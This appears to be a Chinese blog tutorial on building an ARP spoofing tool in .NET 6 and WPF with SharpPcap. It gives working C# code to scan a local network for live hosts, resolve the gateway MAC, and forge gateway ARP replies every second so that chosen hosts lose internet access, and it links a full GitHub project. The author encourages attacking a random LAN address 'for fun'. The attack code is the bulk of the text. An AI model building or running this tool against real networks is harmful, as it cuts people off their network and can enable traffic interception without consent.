.net6+wpf制作指定局域网ip无法上网的arp欺诈工具

时间:2022-12-06 15:07:24

摘一段来自网上的arp欺诈解释:ARP欺骗(ARP spoofing),又称ARP毒化(ARP poisoning,网络上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。
换做我的话就是:告诉目标主机错误的网关MAC地址,这样直接让目标主机无法通过网关访问互联网或者其他网段的以太网。

主机欺诈

创建一个arp包,将网关ip地址和错误的网关mac地址发送给目标主机,让主机更新错误的mac-ip地址映射到缓存中。
.net6+wpf制作指定局域网ip无法上网的arp欺诈工具

工具

开源的.net arp库: SharpPcap,PacketDotNet
项目中导入:

<PackageReference Include="PacketDotNet" Version="1.4.7" />
<PackageReference Include="SharpPcap" Version="6.2.5" />

实战

获取本机所有的网络设备
LibPcapLiveDeviceList.Instance
获取对应设备的ip和mac地址,以及网关ip
foreach (var address in LibPcapLiveDevice.Addresses)
{
    if (address.Addr.type == Sockaddr.AddressTypes.AF_INET_AF_INET6)
    {
        //ipv4地址
        if (address.Addr.ipAddress.AddressFamily == AddressFamily.InterNetwork)
        {
            LocalIp = address.Addr.ipAddress;
            break;
        }
    }
}

foreach (var address in LibPcapLiveDevice.Addresses)
{
    if (address.Addr.type == Sockaddr.AddressTypes.HARDWARE)
    {
        LocalMac = address.Addr.hardwareAddress; // 本机MAC
    }
}

var gw = LibPcapLiveDevice.Interface.GatewayAddresses; // 网关IP
//ipv4的gateway
GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == AddressFamily.InterNetwork);
获取网关mac地址

通过发送arp包到网关,获取响应包,从响应包中获取mac地址。
1.创建arp包

var ethernetPacket = new EthernetPacket(localMac, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetType.Arp);
var arpPacket = new ArpPacket(ArpOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), destinationIP, localMac, localIP);
ethernetPacket.PayloadPacket = arpPacket;

2.发送arp包到网关,并且等待下一个回复包。

LibPcapLiveDevice.Open(DeviceModes.Promiscuous, 20);
LibPcapLiveDevice.Filter = arpFilter;
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
ArpPacket arpPacket = null;
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
    if (requestInterval < (DateTime.Now - lastRequestTime))
    {
        LibPcapLiveDevice.SendPacket(request);
        lastRequestTime = DateTime.Now;
    }

    if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
    {
        if (packet.Device.LinkType != LinkLayers.Ethernet)
        {
            continue;
        }
        var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
        arpPacket = pack.Extract<ArpPacket>();
        if (arpPacket == null)//是否是一个arp包
        {
            continue;
        }

        if (arpPacket.SenderProtocolAddress.Equals(destIP))
        {
            break;
        }
    }
}

// free the device
LibPcapLiveDevice.Close();
return arpPacket?.SenderHardwareAddress;
扫描局域网内活动ip和mac地址

1.设置扫描的ip区间,生成每个ip的arp请求包

var arpPackets = new Packet[targetIPList.Count];
for (int i = 0; i < arpPackets.Length; ++i)
{
    arpPackets[i] = BuildRequest(targetIPList[i], LocalMac, LocalIp);
}

2.发送arp包到各个ip,如果回复了则在线,超时则认为不活动

if (_cancellationTokenSource.IsCancellationRequested)
{
    break;
}
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
    if (_cancellationTokenSource.IsCancellationRequested)
    {
        break;
    }

    if (requestInterval < (DateTime.Now - lastRequestTime))
    {
        LibPcapLiveDevice.SendPacket(arpPackets[i]);
        lastRequestTime = DateTime.Now;
    }

    if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
    {
        if (packet.Device.LinkType != LinkLayers.Ethernet)
        {
            continue;
        }
        var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
        var arpPacket = pack.Extract<ArpPacket>();
        if (arpPacket == null)
        {
            continue;
        }

        //回复的arp包并且是我们请求的ip地址
        if (arpPacket.SenderProtocolAddress.Equals(targetIPList[i]))
        {
            Application.Current.Dispatcher.Invoke(() =>
            {
                ///增加到IPlist中
                Computers.Add(new Computer()
                {
                    IPAddress = arpPacket.SenderProtocolAddress.ToString(),
                    MacAddress = arpPacket.SenderHardwareAddress?.ToString(),
                });
            });

            break;
        }
    }
}
指定ip/ips攻击

攻击包就不能创建请求包, 应该伪造一个来自网关的响应包,从而将网关错误的mac地址更新到目标主机的缓存中。
1.创建错误的响应包

 private Packet BuildResponse(IPAddress destIP, PhysicalAddress destMac, IPAddress senderIP, PhysicalAddress senderMac)
{
    var ethernetPacket = new EthernetPacket(senderMac, destMac, EthernetType.Arp);
    var arpPacket = new ArpPacket(ArpOperation.Response, destMac, destIP, senderMac, senderIP);
    ethernetPacket.PayloadPacket = arpPacket;
    return ethernetPacket;
}

调用创建arp响应包,但是可以看到最后一个mac地址,应该是网关的mac地址,我们替换成了自己本地mac地址。

BuildResponse(IPAddress.Parse(compute.IPAddress), PhysicalAddress.Parse(compute.MacAddress), GatewayIp, LocalMac);

2.直接以1000ms的间隔轮询发送响应包到目标主机

var aTask = Task.Run(async () =>
{
    while (true)
    {
        if (_cancellationTokenSource1.IsCancellationRequested)
        {
            break;
        }
        try
        {
            LibPcapLiveDevice.SendPacket(packet);
        }
        catch (Exception ex)
        {
            MessageBox.Show(ex.Message);
        }

        await Task.Delay(1000);
    }
    LibPcapLiveDevice.Close();
}, _cancellationTokenSource1.Token);

效果

随机选一个局域网ip攻击它吧!看他不能上网的样子。切记仅限于娱乐,不要影响任何工作和业务。

完整代码和工具

https://github.com/BruceQiu1996/ArpSpoofing

工具界面

.net6+wpf制作指定局域网ip无法上网的arp欺诈工具

参考文档

https://www.cnblogs.com/fantacity/p/4792689.html
https://github.com/dotpcap/sharppcap